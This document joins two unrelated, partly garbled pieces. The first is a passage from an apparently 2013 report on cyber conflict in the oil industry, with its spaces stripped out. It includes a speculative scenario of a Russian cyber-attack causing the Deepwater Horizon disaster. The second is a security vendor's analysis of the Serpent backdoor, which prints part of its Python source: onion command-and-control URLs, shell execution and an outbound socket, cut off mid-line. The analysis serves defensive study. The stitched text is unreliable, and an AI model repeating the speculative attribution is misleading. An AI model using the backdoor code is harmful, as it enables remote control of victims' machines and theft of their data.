Additionallythough,andperhapsmostsignificantly,in2011BPannounceda38billion assetdivestmentprograminordertocoverthecostsoftheenormousfinesincurredbytheDeepwaterHorizonspill.65 So whatdidBPdivest,andtowhom?
60  (Mrozek,2009) 61  (UnitedStatesofAmericav.
MarioAzar,2009) 62  (Shauk,2013) 63  (Williams,2013) 64  (BP,2012,p.34) 65  (BP,FinancialandOperatingInformation2007-2011,2011,p.3) 28 ThisdatawouldsuggestthatoneofthemainbeneficiariesoftheoilspillisRosneft,astate-ownedoilcompany belongingtoastateactorwhichpossessesbothacyber-capabilityandvestedinterestintheoilindustry.
Itistheonly oneofthetopfiveoilproducingcountriesyettobementioned:theRussianFederation.
InJulyof2012Forbesreleased anarticleontheWorldslargestoilcompanies.
Whatwasnotableaboutthearticlewasthisquote:Butwhensorting throughtherankingsoftheWorlds25BiggestOilCompaniesandlookingatwhocontrolsandinfluencesthebiggestof bigoilonethingbecomesclear:noindustryleaderhasmoresway,hastwistedmorearmsormademoredealsthanRus- sianPresidentVladimirPutin.
ThearticlegoesontopointouttheRussianPresidentspastuseofGazpromthestate- runoilgiantandsecondlargestproducerintheworldasapoliticaltoolandhisvastinfluenceoverothernon-Russian oilcompanies.
Russia,anacknowledgedforceincyberandthesecondlargestexporterofoilintheworld,ismarkedly absentinthelastdecadefromthemastertimelineeitherasanaggressororasatarget,barringofafewleakedemails bytheAnonymoushackinggroup.
Thisappearsaberrant,evendespitethepossiblelanguagebarriermentionedatthe beginningofthisreportorRussiastightlycontrolleddisseminationofinformation.
WhileclearlytheRussianFederationwasthelargestbeneficiaryofBPspost-spilldivestmentsandalsobenefited fromahaltinGulfofMexicooilproduction,thequestionthatremainsiswhetherornotthepossibleacquisitionofTNK- BP(whichwouldbedifficulttopredict)ismotivationenoughtoengageinariskyenterprisesuchasacyber-attackthat resultsinakineticoutcomeparticularlywhenweighedagainstthepossibilityofdirectattributionthatcouldhavefar reachingimplicationstorelationswithboththeUKandtheUS.Ifthesebenefitsalonearenotenough,thenwhatother motivatorsexistedwhich,inconcert,wouldhavebeencauseforRussiatolaunchacyber-attackonaUKcompanyoper- atingintheGulfofMexico?Inordertoproperlyanswerthesequestionsmanyfactorsneedtobeexamined,including: theextentofBP-RussianrelationsleadinguptoandbeyondtheDeepwaterHorizonincident Geopoliticalconsiderationsofthetime Anycompetitioninmarket-sharebetweenBPandRussianstate-controlledoilcompanies Russiasoverallrelationtoanddependenceontheoilindustry Russiasstrategicgoalsatthetime Ahigh-levelunderstandingoftheRussianapproachtocyberwarfare 2010 2011 2012 2013 Deepwater Horizon Spill BP Asset Divestment Program 2010-2013 Anadarko Petroleum Corp SOCAR TAQA Plains Exploration  Production Rosneft Apache Corp Ecopetrol  Talisman Marubeni Group United Energy Group Tesoro Corp Sold To Upstream Assets Downstream Assets Countries with BP presence as of 2012 Key 29 AninterestingrelationshipbetweenRussiaandBPhasunfoldedoverthepastdecade,revealingaseriesof exchangesthathighlightatenuousco-existence.
Thefigurebelowdisplaysthisindetail,alignedwithgeopoliticalevents.
Theexchangebeginsin2006whentheRussianstate-rungascompanyRosneftwentpublicontheLondonstockex- changeandBPpurchased1billioninshares.
Thisisaseeminglystraightforwardstrategicpartneringhoweverthere wasspeculationthatBPwaspressuredintoinvestinginordertosecurefutureoilexplorationrightsforitsownRus- sianjoint TNK-BP.66RobertAmsterdam,alayerfortheformerheadofYukos(anoilcompanyabsorbedbyRosneft), wasquotedassayingthatBPhasagunheldtoitshead.67TheninJune2007,TheRussiangovernmentpressuresBP toselloneoftheworldslargestnaturalgasfieldstostate-runGazpromorlosethelicensetodevelopit.682008pre- sentedperhapstheheightoftensionswhenarmedpoliceraidedBP-TNKsMoscowoffices69inwhatappearedtobean efforttointimidateshareholders.
ThiscameontheheelsofspeculationthatRussiawishedtobuyoutthesharehold- ersofTNK-BPaspartofitscampaigntotightencontrolofthecountrysenergyassets.70Inarelatedvein,theBP-TNK CEOwasforcedtoleavethecountryafterRussianauthoritiesrefusedtorenewhisvisa.71Alsoin2008,animportant BPincidentwhichdidnotappeartodirectlyinvolveRussiaoccurred.
OffthecoastofAzerbaijanattheCentralAzeri platformintheCaspianSea,oneofBPsoff-shorerigssufferedablowoutnearlyidenticaltothatoftheDeepwater Horizon.
Thegasdidnotignite,andnoonewaskilled,howeveritdidcostaround50Millionadayinlossesforthe Azerigovernment.
BPpurposefullykeptalldetailsoftheincidentunderclosewrapsvergingonacover-up.
Thenthe DeepwaterHorizoneventoccursin2010,followedbythesaleofTNK-BPtoRussianstate-runRosneftin2012aspart oftheassetdivestmentprograminitiatedtopayforthespill.
Inthatdeal,BPalsopurchasedsharesinRosneft,upping theirstakefrom1.25to20andreceivingtwoseatsontheboardofdirectors,includingonewhichwasawardedto BPscurrentCEORobertDudleythesamegentlemanwhowasforcedtofleein2008overanun-renewedvisa.
How- ever,accordingtoaReutersarticlepublishedonMarch4thofthisyearasastateappointee,Dudleywouldhaveto votebygovernmentdirectiveonmajorissues,suchaslargedealsandkeyappointments.72Thisremarkisincontrast toanotherindividualwhohadbeennominatedasanindependentandassuchcandecideforhimselfhowtovote.73 66  (Kennedy,2006) 67  Ibid.
68  (Kramer,2007) 69  (Hodgson,2008) 70  Ibid.
71  (Webb,2008) 72  http://uk.reuters.com/article/2013/03/04/uk-bp-rosneft-idUKBRE92310W20130304?feedType3DRSS 26feedName3DbusinessNews 73  Ibid.
30 TheseRussia-BPrelationscoincidewithanamalgamofgeopoliticaleventsnotdirectlyrelatedtoBP,butoffering supportingcontextforeventualconclusionsdrawnabouttheDeepwaterHorizonoilspill.
Followingthecollapseofthe SovietUnionin1991,manyofthestateownedoilandgasassetsweresoldatsignificantlydiscountedvaluestoprivate individualscreatinganeconomicvoidforafragilenewcountryalreadyplaguedbymonetaryissuesinothersectors.
Russiafalteredeconomicallyformostofthe1990suntilVladimirPutinwaselectedPresidentin2000underabannerof plannedeconomicprosperity.
Putinisaninterestingfigure,andhasplayedprominentlyinRussiasreturntotheworld stage.
AformerKGBmember,PutinhassoughttheconsolidationandreclaimofcriticalsectorsoftheRussianeconomy, mostnotablytheenergysector.
Usingstrong-armtacticsandpoliticalpressure,hehassetthetoneforRussiasfuture policy.
In2006,RussiatemporarilyturnedoffthegasitwassupplyingtotheUkraine,incitingconflictandunrestwith otherEuropeancountries.
Themovewascastasanovertattempttoregulatenaturalresourcepricesforamarketin whichRussiacontrolsproductionandreapsprofitsfromacustomerbasewithlimitedalternatesupply.
Russiausedthe tacticagainin2009,shuttingoffgassuppliesfortwoweekstoUkrainianNaftogazostensiblybecauseofadisputeover contracttermswhichhadbeennegotiatedin2002regardingtheappropriationofgasbyNaftogas.
Theordealwasonly resolvedafterUkrainesPrimeMinistersatdownwithVladimirPutinandrenegotiatedanewcontractforRussiangas,for whichshelaterreceiveda7yearsentenceonchargesofabuseofpower.
TheseeventsservetohighlighttheimportanceRussiaplacesontheenergysectorasbothavitalportionofits economyandapotentpoliticaltool.
TheRussianeconomyisheavilydependentontheoilgasindustries,with62.7of itseconomybeingservicebasedindustriesin2010.74ManyeconomistshavepointedtooilandgaspricesastheAchil- lesheeloftheRussianeconomy.757677Thiswasmadeevidentin2008whenoilpricesplummeted(asseeninthefigure below),sendingtheRussianeconomyspiralingintoarecession.
Priceshitalowin2009,oneyearbeforeDeepwater HorizonandatatimewhenreportswerealsostatingthattheoveralloutputofRussianoilfor2010wasprojectedto decline.78Thisstagnationintheeconomycombinedwithfutureprojectionsofslowedoilproductionpresentedahuge threattoRussia,anditislikelythatthissentimentresonatedwithRussianauthorities.
AspointedoutbyaForbescolum- nist,asustaineddropinoilpriceslikethatin2008wouldmeanpossiblecivilunrestandpoliticalinstabilityoilandgas havethatmagnitudeofeffect.79 ThisresonancemayperhapsbeseenintheRussianNationalSecurityStrategyto2020publishedinMayof 2009.ThedocumentoutlinesapathforRussiatocontinuetoregainprominentglobalpower,andwithinitthereare severalpointswhichlendcredencetoastrategicviewofoilandgasresources.
Thedocumentstatesthatthelonger- termfocusofinternationalpoliticswillconcentrateonthepossessionofenergyresources,notablyintheMiddleEast,on theBarentsSeashelfandotherareasoftheArctic,intheCaspianSeaBasin,andinCentralAsia.80Thesamepublication 74  CIA Factbook 2012 75  http://www.forbes.com/sites/kenrapoza/2012/04/03/oil-a-problem-for-russian-economy-official-says/ 76  http://www.ssb.no/a/publikasjoner/pdf/DP/dp617.pdf 77  http://oilprice.com/Energy/Crude-Oil/Putin-Plays-Down-Russias-Deadly-Dependence-on-Oil-Gas- Revenues.html 78  http://www.reuters.com/article/2009/10/14/russia-oil-production-idUSLE70186320091014 79  http://www.forbes.com/sites/markadomanis/2012/12/01/russia-and-oil-a-recipe-for-preservation-of- the-status-quo/ 80  Thomas, T. (2011).
Recasting the Red Star.
Fort Leavenworth: Foreign Military Studies Office.
,
p.87.
31 alsostatesthatthecompetitivesearchforresourcesdoesnotexcludetheuseofforce.81Forceinthiscasedoesnot necessarilyindicateamilitarykineticaction,butexertionofbothsoftandhardpoweracrossalldomains,includingcyber.
Whatfollowsisapurelyspeculativenarrativeofonepossibleattackscenario,intendedtohighlightelementsof RussiandoctrinewhichalignwithaspectsoftheBPoilspill.
Itwillalsoincludetechniquesandtoolswhichprovidefunc- tionalitythatmakessuchanattackfeasible.
Soitispossiblethataftertheoilpricecrashin2008,Russianofficialssawthedangertosocialandpoliticalstabil- ityinthecountry.
ForecastsforRussianoiloutputaround2009alsosuggestedthatnotonlywerepricesdropping,but overallproductionwouldaswell,envisagingthespecteroffutureunrestandhardship.
Realizingthestrategicimportance ofoilandthesuccesstheyhadgarneredwithpreviousmarkethalts,theyneededawaytoeitherartificiallyinflateoil prices,increasedemandforRussianoil,orincreaseoiloutput.
Itisworthnotingthatpriceofnaturalgas(anotherhuge componentoftheRussianeconomy)isinextricablylinkedtooilpricesinmostofEuropeduringthisperiodbecausegas isprice-indexedagainstoil.
UnlikethenaturalgasincidentswhereRussiawasabletousestate-controlledGazpromto haltgasleavingthecountry,asizeableportionoftheoilleavingthecountrywasfromprivatizedcompanies.
Itwouldbe difficulttoovertlypreventthemfromexportingwithoutsignificantbacklashfrominternationalcommunities(suchasthe WorldTradeOrganizationwheretheyhadbeenseekingentryforsometime),soactionwouldneedtobemorecovert.
OneofthelargestoftheseprivateoilfirmswasTNK-BP,whichRussianauthoritieshadalreadyattemptedtostrong-arm intogovernmentcontrolastheyhaddonewithothersmalleroilcompanieslikeYukos.
Theothermainexporterofoilto WesternEuropeatthistimewasBPplc,the50ownerofTNK-BP.Therefore,controlofTNK-BPwouldbothincreaseoil revenuesandstate-output,andsimultaneouslydecreaseaprimecompetitorsoveralloutput.
Itwouldalsogivethema largerpoliticalweaponthatcouldbeusedasabargainingchiportomeettheaforementionedgoalofpricecontrol.
How- ever,BPhadprovenrecalcitrantanddefiantaboutrelinquishingTNK-BPinspiteofthepressureswhichhadalreadybeen applied.
ApastrockyrelationshipwithBPcombinedwiththeirrecentsafetyfailuresandcover-upintheCaspianSeaalso madethemaviabletarget.
Iftheycouldnotbemotivatedbyconventionalmeans,thenRussiawouldhavetoreverttoforceaspointedout earlierintheirNationalSecurityStrategyto2020(thecompetitivesearchforresourcesdoesnotexcludetheuseof force).Sabotagecouldbeaviableoption,howeveritwouldhavetobeonalargeenoughscalethatBPwouldbeput intoapositionwheretheywouldfoldtoRussianinterestsundertheadditionalpressure.
Whileanon-shoreexplosion wouldcausesomedelaysinproductionandpotentiallossoflifeleadingtolitigation,off-shoredestructionwouldhave thepotentialtobesignificantlymoredamagingpublicly,couldalsoincludelossoflife,andwouldincursignificantenvi- ronmentalfinesinadditiontosafetyfines.
ThequestionwouldthenbewheretostrikeBPholdingsintheCaspianSeawouldbetoodangerousasanyfail- urescouldeasilyimplicateRussiaandanysuccesscouldcausecollateraldamagetoRussianoilassetsandcoastalregions.
TheNorthSeawouldbeapotentiallyviablecandidatewithmultiplecountriesbeingaffectedresultinginmoreeconomic impactonBP,howeverthecurrentsaresuchthatcollateraldamagecouldoccurtootherareasthatRussiaidentifiedas vitalfieldsofcompetition,namelytheBarentsSea.
BPsothermajordevelopmentswereinrelativelynewfieldsinthe GulfofMexico(GoM)whereBPplannedtoinvestheavily.
Russiahaslongseen(andcontinuestosee)Americanpower asadangerouscountertoitsown,markingtheUSasitstopglobalcompetitor.
TheGoMthenwouldproveveryattrac- tiveasitofferedatwo-foldbonus.
Acash-strappedUnitedStates,riddledbyitsownrecession,wouldbearthebruntof thecollateraldamageresultinginheavyfinestoBP,perhapsmadeheavierbecauseofthestateoftheAmericanecono- my.
Secondly,BPwouldpossiblyloseitsasset(s)andrighttodrilloffshoreintheGoM,aregionBPconsideredstrategic.
ItwouldallowforaninformationinfluenceoperationontheAmericanpublicpoisoningthemarketagainstBP,butalso potentiallyagainsttheAmericangovernmentiftheyrepeatedanymistakesintheirhandlingofanincidentlikethe2005 HurricaneKatrinarescueandreliefeffort.
Americain2008and2009wasalreadyfacinginternalcontentionoverdeepwaterdrillingpractices,meaning thatasignificanteventintheregioncouldperhapshaltproductionbygovernmentaldirective.
Evenwiththecontention, BPhadalreadymadehistoryintheGulfinmid-2009theDeepwaterHorizonrigfinisheddrillingthedeepestoilwellin historyintheTiberOilFieldoffthecoastofTexas.
ThismeantthatoneofthetopcompetitorsforRussianoilexportswas makingheadwayinthisregion.
Americaisalsothelargestimporterofoil,soeventhoughoilpricesareacomplicatedaf- fairthattakesintoaccountaspectsliketheeconomicstabilityofdifferentregionsandfutureprojectionsofdemand,any damagingeffectsonAmericanproductionorsupplycouldpotentiallyincreaseoilprices.
InMarchof2009,drillingofanewwell,Macondo,wasapprovedandscheduledtobeginlaterthatyear,creating 81  Ibid.,
p.87.
32 anidealtarget.
Realistically,inaclandestineprojectofsuchimportanceitislikelythatRussiawouldhaveidentifiedsev- eralGoMtargets,perhapsalongsideBPNorthSeaassetsaswell.
HavingtheGulfofMexicoinmind,Russianowneeded amethodfordelivery.
Analyzingthe2008incidentintheCaspianSeawhichwasstillfreshatthistime,itmayhavebeen notedthatoneoftherootcausesoftheblowoutwasaflawintheconcreteconcretepossiblyprovidedbythesame UScontractorwhoworkedforBPintheGoM:Halliburton.
Theymayhavealsosurmisedthatifthealarmsandsafety systemshadnotactivatedintheCaspianSeaincident,thecrewmaynothavebeencapableofreactingquicklyenoughto preventanexplosion,thuscreatingaterribleecologicaldisasterandcausinglossoflife.
So,aworkableoptionappearedtobeacovertcyber-attackonrigsoperatinginthegulfwhichdisabledsafety measuresorcreatedasituationwhereablowoutwouldoccur.
Ifdonecorrectly,theycouldeasilyhideanyattribution behindChina(whohadbeenactivelystealingsecretsfromoilcompaniesatthistime),anon-statehackinggroup,aspo- radicvirus,ormerelyaglitch/accident.
BecauseofthehighstakesinvolvedinanyattributiontoRussia,thebestoption wouldbemakingitpurelyappeartobeanaccidentorneglectbyBPanditscontractors.
Thiscouldbeachievedbyplay- ingonknownpatternsandbehaviorsbyBPthatwererisky.
ThetypeofintelligenceRussiawouldhavebeenintimately familiarwiththroughtheirowndealingswithBPandanalysisofotherBPsafetyincidentintherecentpast.
Thisblends seamlesslywiththeRussianconceptofReflexiveControl.
TimothyThomaspointsoutinhisbookentitledRecastingtheRedStartheconceptofreflexivecontrolas Timothyputsit:Reflexivecontrolisdefinedasameansofconveyingtoapartneroranopponentspeciallyprepared informationtoinclinehimtovoluntarilymakethepredetermineddecisiondesiredbytheinitiatoroftheaction.82 Purposefullysettingfalsealarmsoffintheearlyhoursofthemorningsothatsomeonewilldisablethemwouldbea goodexampleofthis.
RussianhackerssuchastheGLEGgrouphavedemonstratedproficiencyinfindingexploitsinICS softwarebyreleasingtheAgoraSCADAexploitkitwhichhadaplethoraofzero-dayexploitsinit.83Thisdemonstrative proficiency,combinedwiththepreviouslynoted2009MarioAzarincidentwouldsuggestthatthetechnicalcapabilityto setthisinmotionwasreadilyavailable.
AfteridentifyingseveraltargetsintheGoM,Russianoperatorscouldeasilyhave exploitedamultitudeofattackvectors.
Employeespersonalsystems(whichcouldhaveVPNaccesstoonshorecontrol stationsortherigdirectly),mobiledeviceslikesmart-phones,portablestoragedevicessuchasusbdrives,engineer laptops,oranonshorecontrolcenterwithaccesstotherigscouldhavebeenleveragedtogainaccess.
Suchattackscould betriviallydoneevenwithopen-sourceorfreetoolssuchastheiconicMetasploitFramework.
Metasploitscustompay- load,Meterpreter,forexampleiscapableofresidingpurelyinvolatilememory,oftenleavingfewresidualtracesonper- sistentstorage,ifany.
Afteridentifyinganentrypointsuchassocialengineering(perhapstoohighprofile)ormorelikely exploitation,Russianoperativescouldfindaseriesofserversattheonshorecontrolcenterwithalongup-timeorthat werenotregularlyupdated(andthereforenotregularlyrestarted).Theattackerscouldhaveleveragedthesetocreate redundantavenuesofaccesswhichrunentirelyinvolatilememory,thusleavingminimaltonopermanenttraces.
More likelyandstablehoweverwouldbetheuseofsuchexploitationtoinstallapersistentbackdoor.
Fromheretheycould havestolencredentialsorotherwiseescalatedprivilegestogainaccesstothesafetysystemsontheDeepwaterHorizon andotherrigsoperatinginthearea.
Itislikelythatthesameattackvectorwouldnothavebeenusedineveryinstanceto obscureanypatternanalysisanddiversifyopportunitiesforsuccess.
Atthispointsettingoffalarmsintheearlyhoursto encourageemployeestodisablethem,impairingothersafetysystemsandcausinggeneralinstabilitywouldhavebeen enoughtosubtlymagnifytheeffectsbeyondamanageablelevelresultingincatastrophe.
Afterhavingdiscussedinsomedetailthepossibilityofastateactorsinvolvement,itmustequallybeconsidered thatthereisalsoplentyofevidencesuggestingthatthiswasnothingmorethanatragicincident.
Itmayalsobestated thatthereisevidencecontrarytotheposedscenario.
TheDeepwaterhorizonincidentandthe2008CaspianSeaincident beforeitweremerelytwoincidentsinanindustryfraughtwithothers.
Additionally,twoincidentsregardlessofsimi- larityarenotconclusiveenoughtorepresentapattern.
Shouldtheybeapartofalargerpattern,itisfarmorelikely thattheseparticularincidentspointedtoapatternofcorporateneglectthananythingelse.
Theinherentlydangerous natureofoilrefineryworkwouldimplythataccidentsandlossoflifeareanunfortunaterealityoftheindustry.
Accord- ingtotheCentersforDiseaseControlandPrevention,ThefatalityrateforoilandgasworkersintheU.S.between2002 and2007wasmorethan29deathsper100,000workers,oraboutseventimestheaverageforalloccupations.84BPis nostrangertosuchhazards.
DeepwaterHorizon,thoughperhapstheirworsttodate,wasnottheirfirstprolificdisaster.
BPwasrequiredtopay1.6billiondollarsinvictimcompensationfortheTexasCityrefineryexplosionfromMarch23, 2005.Theywerealsorequiredtopay50.6milliondollarsinfinesforfailingtofixthesafetyviolationsthatwerebrought 82  Recasting the Red Star 83  https://ics-cert.us-cert.gov/pdf/ICSA-11-096-01.pdf 84  Centers for Disease Control.
(
2013, March, 3).
Retrieved from http://www.cdc.gov/niosh/programs/oil- gas/risks.html 33 tothembyOSHAbeforetheexplosion.85ThesesamecorporatefailingswerepresentintheDeepwaterHorizonincident andwerebroughtupduringthesenatehearings.
Thisinpartservestohighlightthefactthateveniftheincidentwereto beastate-sponsoredattack,theimpactofthelossofasinglerigorsmallwellisrelativelyinconsequentialtotheoverall oilproductionofthevictim.
ThetimelineoftheDeepwaterHorizonincidentalsospeaksvolumestheincidenttook placeoverthecourseofatleastayearandwastheproductofmanybudget-savingdecisionsthatwereacknowledged tobedangerousbytheengineerswhowereworkingontheMacondowelldrillingeffort.
Thesemeasuresandaculture ofriskarelikelywhatultimatelysealedthefateoftheDeepwaterHorizon.
Theseoccurrencesaretoointricatewhilst spreadoversuchanextendedperiodoftimeforanyoneentitytohavereasonablycontrolledthemall.
Itiswithinhumannaturetolookforapatternordesignforaneventevenwhenthereisntanythiscanbeaug- mentedbytimeasmorepossiblecluesbecomeapparent.
Forthisreasonsuchattributionwhichseeksoutaconclu- sionisaslipperyslopeandmustbeapproachedwithcautionithasatendencytoenticeanalyststofindfactstofitthe hypothesisasopposedtoahypothesiswhichfitsthefacts.
Itsimportanttorememberthatcorrelationdoesnotequal causationinfactcorrelationmaybecoincidentalortheresultofanotherunanticipatedfactor.
Likewisethecircumstan- tialevidencealoneisnotconclusive.
Between1969and2005therehavebeenover30separateincidentsonoilrigs rangingfromfiresandexplosions,tostructuralfailures,someofwhichwereblowoutsnotunliketheonethatoccurred onDeepwaterHorizon.
Itislikelythatcircumstantialinformationaboutoneormoreofthesecouldbestrungtogetherto provideareasonablyconvincingpoliticalattribution.
Regardlessoftheattributionorrefutationofanattack,thetakeawayfromtheDeepwaterHorizonanalysisisthat theoilindustryisundeniablytiedtothecyberdomainandanattackonthissectorisconceivablethatbyusingcurrently availablecybermeansakinetic,violent,andinstrumentaloutcomecouldverypossiblybeaffectedonaprivatesectorby aforeignstateactororotherhuman-basedagenttogainafavorableoutcome.
85  BBC News, BP agrees to pay record 50.6m fine for Texas explosion.
(
2010, August, 12) http://www.bbc.
co.uk/news/business-10960486 34 Conclusion Theobservationofamoderatelysizedcross-sectionofcybereventswithintheoilandgasindustryclearly indicatesthatthereisongoingcyberconflict.
Thisconflictexistsintheformofespionageandsabotage,anditinvolves bothstateandnon-stateactors.
Inthecaseofcyberespionage,theseactorsareadvancedinthesensethattheyhave launchedmulti-yearcampaignswhichhavegoneundetectedastheyhaveexflitratedwhatislikelyuntoldbillionsofdol- larsinintellectualproperty.
Theretacticsrepresentaformalizationandritualizationoftheconflictwhichwillsuggests thatithasbeenweaponizedandwillcontinuetoescalateinthefuture.
TheChinesegovernmentisabsolutelyinvolved insomecapacity,andstandstogainthemostoutifthesetransactions.
Chinawillneedtocontinuetomakeaggressive movestosustainitsneedforoilgoingforwardasitsabilitytomeetgrowingdemandbecomesoverwhelmed.
RedOcto- ber,whilelargelytargetedatdiplomaticentities,alsotargetedtheoilandgasindustry.
Thesophisticationoftheinfra- structureusedinRedOctober,aswellasthemethods,suggestarevolutioninthetypeofcyberconflictthatwillbeseen intheoilandgasindustry.
AmajorityofthesegroupsarestillactiveasofApril2013,evenafterbeingoutedinreports releasedbyantivirusandincidentresponsecompaniesoverthelastfewyears.
Thesereportsthemselvesrepresentone aspectinwhichnon-stateactorswillbecomeevermoreimportantincyberconflict,particularlywithinimportantindus- triessuchasoilandgas.
Americancompaniesareparticularlyvulnerabletargetstostate-backedorstate-ownedforeign competitorswhomayinthefutureleveragetheircountriescyberforcestogaincompetitiveadvantage,orpossible developtheirown.
ThistypeofcompetitivenessmayleadtothetypesofsabotageexchangesseenintheMiddleEast.
Theseattacks mayeitherhavebeentheworkofnation-statesbattlingoutpolicyinthecyberrealm,orunconnectedeventswiththe Shamoonattacksmerelybeingadisaffectedhacktivistgroupexpressingdissent.
Regardlessoforigin,theseexchanges areclearexamplesofcyberconflictofadestructivenature.
Goingforward,thesophisticationofthevirusesusedinthese attackswilllikelyonlyincrease.
AttacksliketheflameandStuxnetvirusesmaybeseenbyAmericancompanieswithin theindustry.
Thelinebetweenespionageandsabotageattackscanbesomewhatblurredwithvirusesbeingmodularand havingthecapabilitytoperformbothgatheringintelwhilewaitingundetectedtounleashamoresinistercapability.
The veryuseofthesetypesofmalwarebreedsandintimacyandfamiliaritywiththemthatallowsfortheirfurtherprolifera- tionbythepartieswhowerepreviouslyattacked.
Eveniftheycannotreverseengineerthem,theymayunderstandthe behaviorswellenoughtocrudelymimicthem.
Asdiscussedatthebeginningofthepaper,cyberconflictisattractive.
Itisattractivetocriminalelements,corpo- rateelements,individuals,hacktivists,stateactors,andothersundrynon-stateactorsalike.
Becauseofitslowbarrierto entry,availability,andoutsizedimpact,theoilindustrymustprepareforsustainedfutureconflictinthisrealm.
35 Appendix A - Definitions Advanced Persistent Threat:Anadvancedpersistentthreat(APT)usesmultiplephasestobreakintoanetwork,avoid detection,andharvestvaluableinformationoverthelongterm.
ThesephasesareIncursion,Discovery,Capture,and ExfiltrationaccordingtoSymantec.86 Anonymous:Adecentralizedgroupofindividualswholabelthemselvesashactivists.
Theindividualsareanon-state sponsoredgroup.
Thegroupfrequentlypickstheirtargetsbasedoncurrenteventsordecisionsofcompaniesthatcon- flictwithaneverchangingmantraofthegroup.
TheattacksperpetratedbyAnonymousarefrequentlynotcomplexin natureandoftenaredesignedjusttorestrictaccesstopublicwebsitesthroughadenialofserviceattack.
C2: Command and Control Cyber Warfare:Actionsbyanation-statetopenetrateanothernationscomputersornetworksforthepurposesofcaus- ingdamageordisruption.87 Dropper virus:AtypeofTrojanthatservestotransportandextractaviralpayloadontothedestinationsystem.
The dropperisfrequentlymadetomasqueradeasaninnocuousexecutablethatonceexecutedtheviralpayloadhasbeen deployed.
Thedropperserviceatthispointnolongerneedstoberunning.88 Exfiltration:Theoppositeofinfiltrate.
Theactofsecretlystealinginformationfromtheenemyscontrol.
Itisaformof espionage.
Malware:Agenerictermusedtodescribesoftwaredesignedtocausemaliciousactionsonacomputersystem.
Trojans, Viruses,andWormsareexamplesoftypesofMalware.
Reflexive control:Ameansofconveyingtoapartneroranopponentspeciallypreparedinformationtoinclinehimto voluntarilymakethepredetermineddecisiondesiredbytheinitiatoroftheaction.89 SCADA:Supervisorycontrolanddataacquisitionareatypeofindustrialcontrolsystemusuallydeployedtomonitor systemsoverlongdistances.
Spear phishing:Theprocessofattempting,oftenthroughemail,toacquiresomeoneelsesuserinformation.
Thisis achievedthroughsocialengineeringandofteninvolvessendingemailsthatappeartobefromaknownandtrustedindi- vidual.
Trojan:Atypeofcomputermalwarethatdoesnotreplicate,ratheritsprimaryfunctionistoallowunauthorizedaccess tothecomputersystems,stealinformation,orcauseharmtotheinfectedsystem.
ATrojanoftenpresentsitselfasan innocuousfilethustrickingtheuserintoexecuting.
Virus:Atypeofcomputermalwarethatisabletoself-replicateandinfectmultiplesystems.
Thereplicationisusually tiedtoahumaninteraction.
86  http://www.symantec.com/theme.jsp?themeidapt-infographic-1 87  Clarke,RAandKnake,RK(2010).CyberWar, the next threat to national security and what to do about it.
New York:Ecco/HarperCollins.
88  Symantec.
(
2012, April 26).
Trojan.
Dropper.
Retrieved March 9, 2013, from Symantec: http://www.sy- mantec.com/security_response/writeup.jsp?docid2002-082718-3007-99 89  Thomas, T. (2011).
Recasting the Red Star.
Fort Leavenworth: Foreign Military Studies Office.
1/10 March 18, 2022 Serpent, No Swiping New Backdoor Targets French Entities with Unique Attack Chain proofpoint.com/us/blog/threat-insight/serpent-no-swiping-new-backdoor-targets-french-entities-unique-attack-chain Key Findings Proofpoint identified a targeted attack leveraging an open-source package installer Chocolatey to deliver a backdoor.
The attack targeted French entities in the construction, real estate, and government industries.
The attacker used a resume themed subject and lure purporting to be GDPR information.
The attacker used steganography, including a cartoon image, to download and install the Serpent backdoor.
The attacker also demonstrated a novel detection bypass technique using a Scheduled Task.
Objectives are currently unknown however based on the tactics and targeting observed it is likely an advanced, targeted threat.
Overview Proofpoint observed new, targeted activity impacting French entities in the construction and government sectors.
The threat actor used macro-enabled Microsoft Word documents to distribute the Chocolatey installer package, an open-source package installer.
Various parts of the VBA macro include the following ASCII art and depict a snake as below.
The threat actor attempted to install a backdoor on a potential victims device, which could enable remote administration, command and control (C2), data theft, or deliver other additional payloads.
Proofpoint refers to this backdoor as Serpent.
The ultimate objective of https://www.proofpoint.com/us/blog/threat-insight/serpent-no-swiping-new-backdoor-targets-french-entities-unique-attack-chain 2/10 the threat actor is currently unknown.
Campaign Details In the observed campaign, messages are in French and purport to be, for example: From: Jeanne jeanne.vrakelegmail[.
]com Subject Candidature - Jeanne Vrakele The messages contain a macro-enabled Microsoft Word document masquerading as information relating to the rglement gnral sur la protection des donnes (RGPD) or the European Unions General Data Protection Regulations (GDPR).
Figure 1: GDPR themed lure.
When macros are enabled, the document executes that macro, which reaches out to an image URL, e.g., https://www.fhccu[.]com/images/ship3[.
]jpg, containing a base64 encoded PowerShell script hidden in the image using steganography.
The PowerShell script first downloads, installs, and updates the Chocolatey installer package and repository script.
Chocolatey is a software management automation tool for Windows that wraps installers, executables, zips, and scripts into compiled packages, similar to Homebrew for OSX.
The software provides both open-source and paid versions with various levels of functionality.
Proofpoint has not previously observed a threat actor use Chocolatey in campaigns.
https://chocolatey.org/install.ps1 3/10 The script then uses Chocolatey to install Python, including the pip Python package installer, which it then uses to install various dependencies including PySocks, a Python based reverse proxy client that enables users to send traffic through SOCKS and HTTP proxy servers.
Next, the script fetches another image file, e.g.
https://www.fhccu[.]com/images/7[.
]jpg, which contains a base64 encoded Python script also hidden using steganography, and saves the Python script as MicrosoftSecurityUpdate.py.
The script then creates and executes a .bat file that in turn executes the Python script.
The attack chain ends with a command to a shortened URL which redirects to the Microsoft Office help website.
Figure 2: Swiper image with base64 encoded PowerShell script to download and install Chocolatey and Python and fetch another steganographic image.
The Python script (the Serpent backdoor) is as follows: https://pypi.org/project/pip/ https://pypi.org/project/PySocks/ 4/10 /usr/bin/python3 from subprocess import Popen, PIPE, STDOUT import requests import re import socket import time cmd_url_order http://mhocujuh3h6fek7k4efpxo5teyigezqkpixkbvc2mzaaprmusze6icqd.onion.pet/index.html cmd_url_answer http://ggfwk7yj5hus3ujdls5bjza4apkpfw5bjqbq4j6rixlogylr5x67dmid.onion.pet/index.html hostname  socket.gethostname() hostname_pattern  host:s-00  hostname headers referer  Referer: hostname_pattern cache_control  Cache-Control: no-cache headers.update(referer) headers.update(cache_control) check_cmd_1 def recvall(sock, n): data  b while len(data)  n: packet  sock.recv(n - len(data)) if not packet: return None data  packet return data def get_cmd(): req  requests.get(cmd_url_order, headersheaders).content.decode().strip() if req  : pass else: return req def run_cmd(cmd): cmd_split  cmd.split(--) if cmd_split[1]  hostname: cmd  cmd_split[2] print(cmd) run  Popen(cmd, shellTrue, stdinPIPE, stdoutPIPE, stderrSTDOUT).decode() out  run.stdout.read() 5/10 if not out: out  bok termbin_cnx  socks.socksocket() termbin_cnx  